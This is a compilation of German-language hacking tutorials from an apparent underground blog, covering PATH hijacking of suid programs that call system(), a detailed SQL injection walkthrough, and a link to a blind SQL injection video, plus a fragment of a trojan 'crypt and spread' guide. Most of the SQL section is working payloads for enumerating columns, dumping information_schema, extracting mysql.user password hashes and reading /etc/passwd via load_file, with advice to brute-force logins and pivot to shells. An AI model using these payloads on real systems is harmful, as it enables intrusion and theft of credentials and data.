Bei Default Service machen wir überall ein häkchen und bei Option auch.
4. Jetzt müssen wir nur noch Crypten und Spreaden, wie das geht verrate ich in einem anderen Tut von mir
Autor: fred777
Quelle: back2hack.cc
Mai 14
PATH Attacks – the vulnerable system() instruction [UNIX]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~ PATH Attacks – the vulnerable system() instruction [UNIX]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-0×0 Intro:
Willkommen zu meiner kleinen Description über PATH Attacks.
PATH Attacks sind eine Art Angriff auf unsichere system() Aufrufe.
Meistens gesehen in kleinen Programmen, ja auch ich habe sie benutzt *g
-0×01 Knowledge:
Stellen wir uns mal vor, wir haben nun ein solches Programm gefunden, welches
am Schluss des Codes immer ein system(“clear”) benutzt, damit die Konsole auch wieder schön sauber ist.
Hier mal ein kleiner Beispielsource in C:
#include
#includeint main()
{printf (“Firmenverwaltungssoftware 1.0\n”);
printf (“Eep, hier wird verwaltet…blub\n”);
system(“clear”);}
ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ ./prog
…
Man sieht hier am Ende ein System() Aufruf welcher clear aufrufen soll.
Nur wo liegt das Problem dabei?
Ganz einfach, wenn man mal nachdenkt woher system() weiß wo clear
letztendlich liegt, nämlich in /usr/bin/clear.
system() macht nichts anderes als in den Verzeichnissen welche
in der PATH Environment variable angegeben sind zu suchen.
Schauen wir uns doch einfach mal den jetzigen Inhalt von $PATH an:
ubuntu@ubuntu:~$ $PATH
bash: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:So hier sieht man, dass der System() Aufruf in:
/usr/local/sbin:
/usr/local/bin:
/usr/sbin:
/usr/bin:
/sbin:
/bin:
/usr/games:
nach “clear” sucht, und es letztendlich in usr/bin: findet.
-0×02 Exploiting:
Nun kommen wir zum eigentlichen Kern des Papers, wir verändern einfach
den Inhalt und leiten den Aufruf zu unseren Gunsten um, das geht mit export:
export [Var]=[Verzeichnis]
Zuerst einmal erstellen wir aber ein eigenes Clear welches später anstatt
des Unix-Clears ausgeführt werden soll, für den Anfang reicht ein normales printf in /tmp :>#include
#include
#includeint main() {
printf(“\n”);
printf(“Your 0verl33t Shellcode”);
printf(“\n”);}
ubuntu@ubuntu:/tmp$ gcc -o clear clear.c
ubuntu@ubuntu:/tmp$ ./clear
..
Klappt auch so weit 
Nun kommt unser oben schon erwähntes export an die Reihe, dafür
switchen wir wieder zu unserem “prog” ins Verzeichnis:
ubuntu@ubuntu:/$ export PATH=/tmp:
ubuntu@ubuntu:/$ $PATH
bash: /tmp:: No such file or directory
Wir merken schon, ein normales ls -l schlägt fehl..
Wunderbar, nun sollte system() in /tmp suchen und unser clear finden:
ubuntu@ubuntu:~$ ./prog
Firmenverwaltungssoftware 1.0
Eep, hier wird verwaltet…blubYour Shellcode <—–
Ohne Privis zu droppen führt jetzt das Programm (suid root) unser Clear aus..
Hier nur ein printf, später vielleicht eine Shell?…
-0×03 Secure Example
Wir wollen aber nun unbedingt ein clear ausführen am Ende das Programms,
welches sicher ist, dafür müssen wir nichts weiter machen als den absoluten
Pfad anzugeben, welcher wie wir wissen /usr/bin/clear ist..
#include
#includeint main()
{printf (“Firmenverwaltungssoftware 1.0\n”);
printf (“Eep, hier wird verwaltet…blub\n”);
system(“/usr/bin/clear”);}
ubuntu@ubuntu:~$ gcc -o prog prog.c
ubuntu@ubuntu:~$ export PATH=/tmp:
ubuntu@ubuntu:~$ ./prog
*funktioniert..
-0×04 Complete
So ich hoffe als kleine Erklärung hat das gereicht, ihr könnt ja selbst mal
was nettes basteln wie eine Remote Shell oder was auch immer….
Autor: fred777
Quelle: creative-coding.us
Mai 13
SQL lücken ausnutzen
Folgender Teil ist je nach SQL Server unterschiedlich, aber das Prinzip bleibt das gleiche. Auch wenn die SQL Befehle eigentlich überall gleich sind gibt es
unterschiedliche Standarttabellen und verschiedene Möglichkeiten. So können auf einem MS SQL Server mehrere SQL Befehle in einem Query übergeben werden. Weil die meinsten
Server im Netz aber mit MySQL arbeiten, werde ich auch entsprechendes hier als Bsp nehmen. Falls ihr einmal einen anderen SQL Server habt könnt ihr euch Whitepaper oder
Blackpaper für entsprechende SQL Server suchen. Je nach Variante entstehen weitere Möglichkeiten. So ist es im MSSQL z.B. möglich das mann meherere SQL Befehle pro Query
übergeben kann. Das ist bei MySQL nicht möglich. Bekannte Varianten sind:
MySQL
MSSQL
Oracle
PostgreSQL
DB2
Ingres
Und hier ein paar Links:
http://pentestmonkey.net/blog/mysql-…n-cheat-sheet/
http://michaeldaw.org/sql-injection-cheat-sheet/
http://www.webapptest.org/ms-access-…-sheet-EN.html
https://ferruh.mavituna.com/oracle-s…eat-sheet-oku/
http://www.google.com/intl/en/
Was für ein SQL Server genutzt wird, sieht man normalerweise in einem DB Error oder man probiert einfach aus, sprich raten.
Wir haben zum Beispiel folgende Injection gefunden:
w00mIc.php?id=5 AND 1=1/*
Wir können uns aus der URL bereits ausdenken wie der Query aussehen könnte, schliesslich wollen wir uns ja die news mit der id 5 anzeigen lassen:
SELECT id,titel,text,datum FROM tbl_news WHERE id = $Variable
(SELECT id,titel,text,datum FROM tbl_news WHERE id = 5 AND 1=1/*) <- unsere Injection
Natürlich wissen wir den Tabellennamen und die Spaltennamen nicht, allerdings ist das auch nicht so wichtig, es ist ja nur ein Beispiel.
Als erstes bevor wir beginnen wäre es praktisch die SQL Server Version auszulesen. Es gibt mehrere Wege and diese Information zu kommen. Eine Möglichkeit ist, wir bedienen uns der
Standartvariable @@version.
id=15 and 4. in (Select @@version) //<- Normalerweise hätten wir hier auskommentiert, aber nach WHERE kann man soviele ANDs machen wie man will drum zuerst so probieren
Das Prinzip ist einfach: Die erste Übergabe (15) muss wahr sein, sprich die id 15 muss es geben und dann überprüfen wir ob sich ’4.’ sich in der ausgabe von @@version befindet. Wenn der
SQL Server aber nun z.B. folgende Version hat: 5.0.51a werden keine Daten aus der Datenbank angezeigt weil beide Argumente wahr sein müssen.
Wir sehen in unserem Beispiel keine Daten aus der DB. (Aber auch keine Datenbank Fehlermeldung! Schliesslich funktioniert der Query ja einwandfrei.
Als nächstes probieren wir es mit 5.
id=15 and 5. in (Select @@version)
Diesmal wird die News mit der id 15 angezeigt, weil sich ’5.’ in der Variable @@Version befindet. Das bedeutet das wir die ab Version >5 implementierte Tabelle
information_schema haben, dazu später. Wir können daraus auch erahnen um was für einen SQL Server es sich handeln könnte falls wir das noch nicht wissen.
Eine andere Variable für die Versionsanzeige ist version(). Wie angedeutet, gibt es verschiedene Varianten, probiert selber aus:
and substr(@@version,0,1)<5
union all select 1,version(),3
So jetzt gehts erst richtig los:
Zuerst wollen wir heraus finden wieviele Spalten über denn Select abgefragt werden, damit wir einen union Select einsetzten können. Wir nutzen dafür entweder group by oder order by:
id=15 order by 1/*
Das bedeutet wir sehen wieder die News mit der id 15. Hätten wir nun meherere News angezeigt, wären diese nach dem ersten Wert des selects sortiert. Wir brauchen für einen union select genau
die gleiche Anzahl Werte wie im vorangegangenen select. Wir finden das heraus in dem wir nach einer spalte nach der anderen sortieren bis wir einen column error oder keine Daten mehr erhalten.
Keine Daten bedeutet einfach das der Query fehlgeschlagen ist aber keine SQL Fehlermeldung ausgegeben wird. Jetzt zählen wir aber nicht die spalte nach der sortiert wird um eins hoch, sondern
grenzen die Möglichkeiten ein:
id=15 order by 1/* //Daten werden angezeigt
id=15 order by 100/* //SQL Fehler oder keine Daten
id=15 order by 50/* //SQL Fehler oder keine Daten
id=15 order by 20/* //Daten werden angezeigt
id=15 order by 30/* //SQL Fehler oder keine Daten
id=15 order by 25/* //Daten werden angezeigt
id=15 order by 26/* //Daten werden angezeigt
id=15 order by 27/* //SQL Fehler oder keine Daten
Wir finden so heraus, das wir nach dem 26ten Wert sortieren aber eine Fehlermeldung erhalten wenn wir nach dem 27ten Wert sortieren wollen. Wir wissen nun also das der Select 26 Werte
aus der Datenbank liest. Nun können wir unseren union select einsetzen. Zur Erinnerung für alle die sich vielleicht fragen was der Unterschied zwischen union select und union all select ist:
“Der Unterschied zwischen UNION ALL und UNION besteht darin, dass mit UNION nur unterschiedliche Werte ausgewählt werden, während bei UNION ALL alle Werte, also auch mehrfach
vorkommende Ergebnistupel erhalten bleiben.”
Wir können nun union einsetzten. dabei übergeben wir dem ersten script aber als Parameter etwas damit keine Daten aus der DB geladen werden.
Zum Beispiel: id=-1 (was uns eine leere seite oder ähnliches anzeigt weil es keine News mit der id -1 gibt.)
id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26/*
Wenn alles geklappt hat, dann werden auf der Webseite Zahlen angezeigt. Das sind die Werte des Select welche auf der Website ausgegeben werden und genau die brauchen wir. Schaut
auch im SourceCode nach falls ihr keine findet. By WooMic © 2008.
Jetzt können wir bereits wieder einige Informationen ausgeben. Hier wäre die zweite Möglichkeit die Version des sql Servers auszugeben, aber es gibt noch weitere interessante Dinge:
(Bitte nicht vergessen diese Standartvariablen sind für MySQL)
user() // wenn ihr beim user z.B. WEB3004-02@16.283.14.19 habt könnt ihr mit Brutus versuchen das PW zu bruten auf der ip mit dem angegebene User zu bruten
session_user()
system_user()
database() //Name der Datenbank
version() //Version des SQL Servers
@@datadir //Ort der Datenbank Dateien, nützlich für eine FPD (Full Path Disclosure)
Wenn nun zum Beispiel die Zahlen 4 und 10 auf der Website angezeigt bekommen, könnte die Injection folgendermassen aussehen:
id=-1 union all select 1,2,3,user(),5,6,7,8,9,version(),11,12,13,14,15,16 ,17,18,19,20,21,22,23,24,25,26/*
Und tatsächlich, es funktioniert. Wenn wir nun aber noch weitere Dinge abfragen wollen können wir denn Befehl CONCAT() oder dem entsprechend CONCAT_WS() benutzen. z.B:
id=-1 union all select 1,2,3,4,5,6,7,8,9,concat(user(),0x3A3A,database(), 0x3A3A,version()),11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26/*
So erhalten wir alle 3 Variablen durch :: getrennt.
Opfer@localhost::OpferDB::5.0.51a
Bevor wir jetzt weiter gehen, überprüfen wir ob magicquotes eingeschaltet sind. MagicQuotes ist eine Funktion welche vor jedem ‘ in unserem Query ein \ hineinschreibt. Wir können das
zwar mit einem weiteren \ vielleicht umgehen aber mal davon abgesehen das dies unwahrscheinlich ist, macht es uns unmöglich einen funktionierenden Query zu basteln. Ich rede jetzt
von einem ‘ auf der SQL Ebene nicht auf der PHP! Am einfachsten können wir das testen wenn wir einfach ausprobieren ob wir anstatt einem integer einen String übergeben. Wenn der
Query dann immernoch funktioniert (Zahlen sind also immer noch da) dann sind die magicquotes ausgeschaltet. Wenn ein Fehlermeldung erschein oder keine zahlen/daten mehr angezeigt
werden kann es auch sein das gerade dieser Wert in der Spalte nicht varchar oder ähnliches ist und darum nur richtige integer zahlen erlaubt. Wir können natürlich keine Buchstaben
zum testen verwenden weil diese dann als Namen intepretiert werden.
id=-1 union all select 1,2,3,4,5,6,7,8,9,’10′,11,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26/*
In unserem Beispiel sind die MagicQuotes ausgeschaltet, ich werde aber trotzdem erklähren, was wäre wenn.
Da wir nun einen funktionierenden Select haben und ausführen können, suchen wir als nächstes eine Tabelle von der wir Abfragen können. Bei MySQL >5ist standartmässig die
Informationsdatenbank information_schema mit dabei. Darin finden sich alle Informationen über die anderen auf dem betreffenden MySQL Server gepflegen Datenbanken.
Eine Tabelle in der information_schema ist tables. Sie beinhaltet alle Tabellennamen (table_name) und die Tabelle columns mit allen Spaltennamen (column_name). Wir können nun also
folgende Abfrage erstellen:
id=-1 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26 from information_schema.tables/*
Je nach PHP Script kann man nun die Luxusversion haben (es werden alle Einträge in einer Liste generiert) oder aber man hat die etwas mühsamere Version und es wird nur ein einziger
Eintrag angezeigt. Doch dafür gibt es Abhilfe. Mit limit kann man am Schluss jeweils denn 2,3,4,… Eintrag anzeigen lassen. Man hänge einfach limit 0,1 am Schluss an und erhöhe
das 0 schrittweise.
Haben wir eine interessante Tabelle gefunden, (z.B: tbl_users) holen wir uns von information_schema noch die Spaltennamen. Das Prinzip ist fast dasselbe.
d=-1 union all select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26 from information_schema.columns WHERE tablename=’tbl_users’/*
Falls MagicQuotes eingeschaltet sind muss man irgendeine Funktion nutzen um das zu umgehen z.B. in Hex oder CHAR().
Eine schnellere Möglichkeit die ganz praktisch ist bei der Luxusversion wäre:
id=-1 union all select 1,2,3,4,5,6,7,8,9,concat_ws(::,table_name,column_n ame),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26 from information_schema.columns/*
Nachdem der Browser alles geladet hat (kann eine weile dauern) könnt ihr ganz bequem durch alle tabellennamen scrollen und ihr seht auch gleich nebenan die spaltennamen.
Wir könnten nun für unsere Tabelle tbl_users folgende Spalten herausgefunden haben: id,username,password,ip,lastlogin,…
Eine andere interessante Datenbank und Tabelle ist mysql.user. Sie beinhaltet die logindaten für ein login an der mysqldb (z.B. über phpmyadmin oder ähnliches)
id=-1 union all select 1,2,3,4,5,6,7,8,9,concat_ws(0x3A3A,user,password), 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from mysql.user/*
Doch gehen wir jetzt nochmal ein paar Schritte zurück. Wenn unsere MySQL Server Version <5 ist haben wir keine information_schema Datenbank. Das ist blöd ^^
Weil jetzt wird es etwas schwieriger. Wir haben jetzt nicht mehr viele Möglichkeiten:
- Wir können Spalten- und Tabellennamen aus sql Fehlermeldungen herauslesen.
- Wir können raten (z.B: nach user,users,admin,admins,login,…)
- Wir können aus Fehlermeldungen einen Prefix herauslesen und dann raten ( z.B: tbl_user, tbl_users, …)
- Wenn es eine OpenSource Software ist können wir den SourceCode herunterladen und ganz einfach die gesuchten Namen auslesen ^^
- Wir können mit load_file oder mit einer Shell die php files einsehen, und können uns somit die tabellen aus dem query direkt auslesen. (wie man das macht, später mehr!)
Falls man alles probiert hat und man kommt nicht mehr weiter kann man die Injection immer noch alls SiXSS (SQL Injection Cross Site Scripting) benutzen, was eigentlich nichts anderes ist als XSS in einer SQL Injection, lol
So falls ihr jetzt z.B. hängen bleibt oder mal testen wollt ob ihr auf das Dateisystem zugreifen könnt, benutzt die Funktion load_file. Damit kann man (wenn der mysql user leserecht hat) Dateien aus dem System ausgeben. Zum testen werden
Files genutzt welche immer vorhanden (sofern Unix). /etc/passwd oder /etc/hosts
wenn die magicquotes ausgeschaltet sind und ihr genug rechte habt könnt ihr folgendermassen load_file benutzen:
id=-1 union all select 1,2,3,load_file(‘/etc/passwd’),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26/*
So seht ihr alle User die es gibt auf dem Server. Äusserst praktisch um das Passwort zu bruten weil der Username schon bekannt ist. Man kann nun versuchen andere Files zu laden die Wichtig sind. So wie etwa index.php oder andere unix Dateien
schliesslich ist load_file nicht nur für sql injection nützlich. Wichtig dabei ist das man keine relativen Pfade verwendet sondern nur komplette Pfad angaben wie zum Beispiel: /var/www/htdocs/index.php
Man kann so vielleicht besser andere SQL Injections finden wenn man bei dieser über vielleicht über union nicht weiter gekommen ist.
Eine andere Möglichkeit wäre PHP Injection (Shell,LFI,RFI,…) aus der man evt. auch Informationen finden könnte mit dennen man wieder mit SQL Injection arbeiten kann. Wenn ihr bis jetzt alles Begriffen habt, dann übt das ein wenig und
beschäftigt euch dann mit PHP Injection.
Autor: WooMic
Quelle: h0ax.us
Mai 13
Blind SQL-Injection
Autor: Cheese
Quelle: Cheese.5x.to
Hoster: uploaded.to
Thema: Cheese erklärt anhand von Webspell, die grundlagen einer Blind SQL Injection.
Länge: 16:59 min.
Dateityp: .wmv
Dl. größe: 46,81 MB
Gepackt mit: WinRAR
Passwort: tut0r1al.5x.to
